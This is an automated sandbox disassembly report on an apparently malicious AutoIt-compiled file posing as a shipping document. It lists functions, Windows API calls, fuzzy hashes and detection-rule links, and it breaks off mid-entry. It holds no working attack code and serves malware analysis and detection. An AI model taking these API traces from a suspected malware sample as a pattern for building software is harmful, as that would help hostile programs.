Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: efe19afdb93d49056ba0811b3dedfb93851ef876e616d953e77747997053861c
Instruction ID: 68450f3b950960b5d269a3b630dc0f897adbd6fbe068363597e306e5280a4bc2
Opcode Fuzzy Hash: efe19afdb93d49056ba0811b3dedfb93851ef876e616d953e77747997053861c
Instruction Fuzzy Hash: 8C319E71A00215EFDB10DFA5ED85AAA7BB8EF44710F1441A5F904BB296D7309E14CBA0

Function 00E86205 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00E8621D
GetDC.USER32(00000000), ref: 00E86225
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00E86230
ReleaseDC.USER32(00000000,00000000), ref: 00E8623C
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00E86278
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00E86289
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00E8905C,?,?,000000FF,00000000,?,000000FF,?), ref: 00E862C3
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00E862E3

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: d60dd52dceeb58034a7dfe5af4760f654ca04d5d79752674045083029aee354a
Instruction ID: 42f2aca669fbf54108b44a88823cf1df0bbfb24fc8fcb1171aff1777bf9cbf4a
Opcode Fuzzy Hash: d60dd52dceeb58034a7dfe5af4760f654ca04d5d79752674045083029aee354a
Instruction Fuzzy Hash: 0F319F72201210BFEB119F51DC4AFEA3BA9EF09715F040065FE0CAA2A2D6759C45CBA4

Function 00E6EBAF Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00E09997: __itow.LIBCMT ref: 00E099C2
Part of subcall function 00E09997: __swprintf.LIBCMT ref: 00E09A0C

Part of subcall function 00E1FE06: _wcscpy.LIBCMT ref: 00E1FE29

_wcstok.LIBCMT ref: 00E6ED20
_wcscpy.LIBCMT ref: 00E6EDAF
_memset.LIBCMT ref: 00E6EDE2

Strings

X, xrefs: 00E6EE1F

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 7ac9658cac698275e07145477ab3a16d4dcf4cf83e96c840c38e66a8e0b2cbf4
Instruction ID: ce185d894ddd2e468586b8315601b466977b11c87e21d6e4e04f4baf1f697200
Opcode Fuzzy Hash: 7ac9658cac698275e07145477ab3a16d4dcf4cf83e96c840c38e66a8e0b2cbf4
Instruction Fuzzy Hash: 71C17E756083019FD724EF24D885A5AB7E4BF84354F04692DF899A73E2DB30ED85CB82

Function 00E01424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e04e3d1bd52ce2f963faacf1eaead54e2bf15e7b1ec3032589af1da6e3ee0054
Instruction ID: f3907bc65d456a2071d3d112a0a649b075a63d0cba0bf7d07dee927f228b7754
Opcode Fuzzy Hash: e04e3d1bd52ce2f963faacf1eaead54e2bf15e7b1ec3032589af1da6e3ee0054
Instruction Fuzzy Hash: 72715F30900119EFCB15DF99CC89ABEBB79FF85314F148199F915BA291C734AA91CF60

Function 00E76C8C Relevance: 10.7, APIs: 7, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbff9f4f0407c090a58fa838d11cdbeffa9016985d9f25855bf8bf169e0807d1
Instruction ID: c7582e4f4ba72301ce6fb76f0147a22456db47d4255f047dfada608c66e8c658
Opcode Fuzzy Hash: bbff9f4f0407c090a58fa838d11cdbeffa9016985d9f25855bf8bf169e0807d1
Instruction Fuzzy Hash: A561AE31604700ABD714EF24CC85E6FB7E9EB84718F14A919F599B72D2DB30AE44CB92

Function 00E8B385 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00FC5FB0), ref: 00E8B41F
IsWindowEnabled.USER32(00FC5FB0), ref: 00E8B42B
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 00E8B50F
SendMessageW.USER32(00FC5FB0,000000B0,?,?), ref: 00E8B546
IsDlgButtonChecked.USER32(?,?), ref: 00E8B583
GetWindowLongW.USER32(00FC5FB0,000000EC), ref: 00E8B5A5
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00E8B5BD

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: bc8a2a167443a8cde7f34cb8527c3dabf0808cc88a3d67b993431f509479da9b
Instruction ID: 4720e61eb0d10cb48a8e4f0c6b152c51e702f553b3831f63695d809fffba52a2
Opcode Fuzzy Hash: bc8a2a167443a8cde7f34cb8527c3dabf0808cc88a3d67b993431f509479da9b
Instruction Fuzzy Hash: E371E034600604EFDB30AF55C896FAA7BB5EF09304F145069F96DB72A2D732AC85DB50

Function 00E7F532 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E7F55C
_memset.LIBCMT ref: 00E7F625
ShellExecuteExW.SHELL32(?), ref: 00E7F66A

Part of subcall function 00E09997: __itow.LIBCMT ref: 00E099C2
Part of subcall function 00E09997: __swprintf.LIBCMT ref: 00E09A0C

Part of subcall function 00E1FE06: _wcscpy.LIBCMT ref: 00E1FE29

GetProcessId.KERNEL32(00000000), ref: 00E7F6E1
CloseHandle.KERNEL32(00000000), ref: 00E7F710

Strings

@, xrefs: 00E7F639

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: babe7abb31d4c83a118ffd721afdb30a17767b0c9f788a5b830252cf9d6fd854
Instruction ID: fc1680c0a34a9de27abdd43b53d58980097b32a6d2c8e2a8ad29587838a30b34
Opcode Fuzzy Hash: babe7abb31d4c83a118ffd721afdb30a17767b0c9f788a5b830252cf9d6fd854
Instruction Fuzzy Hash: 35615F75A00619DFCB14DF94C5819AEBBF5FF48314F149469E85ABB3A2CB30AD41CB90

Function 00E6127E Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00E612BD
GetKeyboardState.USER32(?), ref: 00E612D2
SetKeyboardState.USER32(?), ref: 00E61333
PostMessageW.USER32(?,00000101,00000010,?), ref: 00E61361
PostMessageW.USER32(?,00000101,00000011,?), ref: 00E61380
PostMessageW.USER32(?,00000101,00000012,?), ref: 00E613C6
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00E613E9

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 7a37ddd72d2ef895ad7b7b0f47a4bc2ee7463f99e252cfba6409eb2ff47999dc
Instruction ID: b30bf3fdde7bd3f58886fe3cf31b6c1adc626d6810dbfc6eff5e82a41119d4b2
Opcode Fuzzy Hash: 7a37ddd72d2ef895ad7b7b0f47a4bc2ee7463f99e252cfba6409eb2ff47999dc
Instruction Fuzzy Hash: 435106A09847D13EFB3342349C45BBABEE95B06388F0C65C9E0D6668C2C6D89CC4E751

Function 00E61097 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00E610D6
GetKeyboardState.USER32(?), ref: 00E610EB
SetKeyboardState.USER32(?), ref: 00E6114C
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00E61178
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00E61195
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00E611D9
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00E611FA

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: b093929a1bb2346777af6b7c2fd43ba45be4dd93a4525cc4b9849bea96d6f47a
Instruction ID: dc352e4c369b409def19a0b36e159e74bb1ae7b70ef5e69d8437469e0a00062e
Opcode Fuzzy Hash: b093929a1bb2346777af6b7c2fd43ba45be4dd93a4525cc4b9849bea96d6f47a
Instruction Fuzzy Hash: 135159A05857D53DFB3383349C55BB6BEE95B06384F0CA5C9E1D5A68C2C294EC88E750

Function 00E656A4 Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00E656B1
_wcsncpy.LIBCMT ref: 00E656E6
_wcsncpy.LIBCMT ref: 00E65718
_wcsncpy.LIBCMT ref: 00E6574B
_wcsncpy.LIBCMT ref: 00E6578D
_wcsncpy.LIBCMT ref: 00E657C7
_wcsncpy.LIBCMT ref: 00E657F6

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 4d853ee07b67366ae1e97638a11108d5944fd882eb031f01dc78baebc991aa77
Instruction ID: b30deaf4e88fe65f22d7f896a20e25309e225fbcfeafd83392d1326d81d9e175
Opcode Fuzzy Hash: 4d853ee07b67366ae1e97638a11108d5944fd882eb031f01dc78baebc991aa77
Instruction Fuzzy Hash: C041A1B6D20624B5CF11EBB4B8469DFB7B89F05310F10A866F918F3162E638A744C7A5

Function 00E5D87B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00E5D8E3
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00E5D919
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00E5D92A
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00E5D9AC

Strings

,,, xrefs: 00E5D887
DllGetClassObject, xrefs: 00E5D91F

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: ,,$DllGetClassObject
API String ID: 753597075-2867008933
Opcode ID: ee79ca4ba313095c8ae1c317a88c2c889131caa3c92243035139ddfdc1fee35e
Instruction ID: f1d070643ae454bcffd505ad03362c4bf7ee20673866cdb98e3bd820d90da02d
Opcode Fuzzy Hash: ee79ca4ba313095c8ae1c317a88c2c889131caa3c92243035139ddfdc1fee35e
Instruction Fuzzy Hash: 9F41B271604204EFDB24DF51CCC4A9A7BB9EF85306F1094A9ED05AF206D7B0DD48CBA0

Function 00E636B5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E646AF: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00E636DB,?), ref: 00E646CC

Part of subcall function 00E646AF: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00E636DB,?), ref: 00E646E5

lstrcmpiW.KERNEL32(?,?), ref: 00E636FB
_wcscmp.LIBCMT ref: 00E63717
MoveFileW.KERNEL32(?,?), ref: 00E6372F
_wcscat.LIBCMT ref: 00E63777
SHFileOperationW.SHELL32(?), ref: 00E637E3

Strings

\*.*, xrefs: 00E63771

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 4894391b781be8d20ac48ccaf179a3943cadae42e9adb4ab9ff29ecd496a2404
Instruction ID: 9fd96dc0baec959689429392d32e290474f0d6ced857a62ef2e208d0be586ee7
Opcode Fuzzy Hash: 4894391b781be8d20ac48ccaf179a3943cadae42e9adb4ab9ff29ecd496a2404
Instruction Fuzzy Hash: C74191B2548345AED751EF64E441ADFB7E8EF89380F00292EB489E3151EA34E788C756

Function 00E872C3 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E872DC
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E87383
IsMenu.USER32(?), ref: 00E8739B
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00E873E3
DrawMenuBar.USER32 ref: 00E873F6

Strings

0, xrefs: 00E872D0

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 8ffea39a9e8d1ad6bd90121d805ce1cf9f7975b6a278319cb4badda2b21af37c
Instruction ID: 6547b0d1bbefbc44452504492f55705f891432b0995ef8ae87225f7adb52cb66
Opcode Fuzzy Hash: 8ffea39a9e8d1ad6bd90121d805ce1cf9f7975b6a278319cb4badda2b21af37c
Instruction Fuzzy Hash: D0413775A04208EFDB20EF50D884E9ABBF8FB04318F149029EDA9A7261D731ED55DB90

Function 00E8102D Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00E8105C
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00E81086
FreeLibrary.KERNEL32(00000000), ref: 00E8113D

Part of subcall function 00E8102D: RegCloseKey.ADVAPI32(?), ref: 00E810A3
Part of subcall function 00E8102D: FreeLibrary.KERNEL32(?), ref: 00E810F5
Part of subcall function 00E8102D: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00E81118

RegDeleteKeyW.ADVAPI32(?,?), ref: 00E810E0

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: f3b6739c844cd6b2c3c4f1d132aa5fb1f64dca821ebd80c30219bb348675c3e9
Instruction ID: d36755709390251e2eec8c59d9c3a86b189b505acd7a8599faaf4f8552e3a2b4
Opcode Fuzzy Hash: f3b6739c844cd6b2c3c4f1d132aa5fb1f64dca821ebd80c30219bb348675c3e9
Instruction Fuzzy Hash: 28312BB1901109BFDB15DB91DC89EFFB7BCEF08344F1011A9E509F2151EA749E8A9BA0

Function 00E862FF Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00E8631E
GetWindowLongW.USER32(00FC5FB0,000000F0), ref: 00E86351
GetWindowLongW.USER32(00FC5FB0,000000F0), ref: 00E86386
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00E863B8
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00E863E2
GetWindowLongW.USER32(00000000,000000F0), ref: 00E863F3
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00E8640D

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 3e0dc32e414f3b47dd8f94af5c27cc2ae0a50ea501c99aeee88c100d0265901c
Instruction ID: 6bdde402addb06810fb9b7eeacd9569e9deadb137a833fe44d78066767b986bf
Opcode Fuzzy Hash: 3e0dc32e414f3b47dd8f94af5c27cc2ae0a50ea501c99aeee88c100d0265901c
Instruction Fuzzy Hash: A63114316042009FDB21DF19DC84F5437E1FB8A714F181174F518AF2B2CB62A885EB51

Function 00E76289 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00E77EA0: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00E77ECB

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00E762DC
WSAGetLastError.WSOCK32(00000000), ref: 00E762EB
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00E76324
connect.WSOCK32(00000000,?,00000010), ref: 00E7632D
WSAGetLastError.WSOCK32 ref: 00E76337
closesocket.WSOCK32(00000000), ref: 00E76360
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00E76379

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 76fd46c32c94010b7efd513151d1b29f1439d54f8e41532b49de906971d28dab
Instruction ID: 95d1056370bc32e8f533818a76bb5c8496ceabc80a675e690edf2b78e3ada37f
Opcode Fuzzy Hash: 76fd46c32c94010b7efd513151d1b29f1439d54f8e41532b49de906971d28dab
Instruction Fuzzy Hash: 08319331600518AFDB149F64CC85BBE77E9EB84728F049069FD49B7292DB70AC48CBA1

Function 00E5F98F Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00E5F9A2
__wcsnicmp.LIBCMT ref: 00E5F9C3
__wcsnicmp.LIBCMT ref: 00E5F9DD

Strings

#OnAutoItStartRegister, xrefs: 00E5F9D7
#notrayicon, xrefs: 00E5F99A
#requireadmin, xrefs: 00E5F9BD

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: b97a3536b15371a244e63f5bcbc0fd52127c17bce5b30df8aa55a004bd58e603
